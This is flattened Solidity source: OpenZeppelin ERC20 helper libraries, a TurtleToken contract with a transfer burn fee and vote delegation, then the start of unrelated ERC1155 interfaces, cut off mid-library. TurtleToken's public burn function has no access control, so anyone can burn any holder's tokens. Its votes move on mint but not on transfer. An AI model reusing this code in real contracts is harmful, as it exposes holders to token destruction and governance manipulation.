// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/TurtleToken.sol
pragma solidity 0.6.12;
contract TurtleToken is ERC20("TurtleSwap.org", "TURTLE"), Ownable {
using SafeMath for uint256;
uint8 public FeeRate = 4;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
uint256 feeAmount = amount.mul(FeeRate).div(100);
_burn(msg.sender, feeAmount);
return super.transfer(recipient, amount.sub(feeAmount));
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
uint256 feeAmount = amount.mul(FeeRate).div(100);
_burn(sender, feeAmount);
return super.transferFrom(sender, recipient, amount.sub(feeAmount));
}
/**
* @dev Chef distributes newly generated TurtleToken to each farmmers
*/
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/**
* @dev Burning token for deflanationary features
*/
function burn(address _from, uint256 _amount) public {
_burn(_from, _amount);
}
/**
* @dev Tokenomic decition from governance
*/
function changeFeeRate(uint8 _feerate) public onlyOwner {
FeeRate = _feerate;
}
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "TurtleSwap.org::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "TurtleSwap.org::delegateBySig: invalid nonce");
require(now <= expiry, "TurtleSwap.org::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "TurtleSwap.org::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "TurtleSwap.org::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
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/**
*Submitted for verification at Etherscan.io on 2021-10-31
*/
// Sources flattened with hardhat v2.3.0 https://hardhat.org
// File openzeppelin-solidity/contracts/utils/introspection/[email protected]
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File openzeppelin-solidity/contracts/token/ERC1155/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
// File openzeppelin-solidity/contracts/token/ERC1155/[email protected]
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// File openzeppelin-solidity/contracts/token/ERC1155/extensions/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// File openzeppelin-solidity/contracts/utils/[email protected]
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
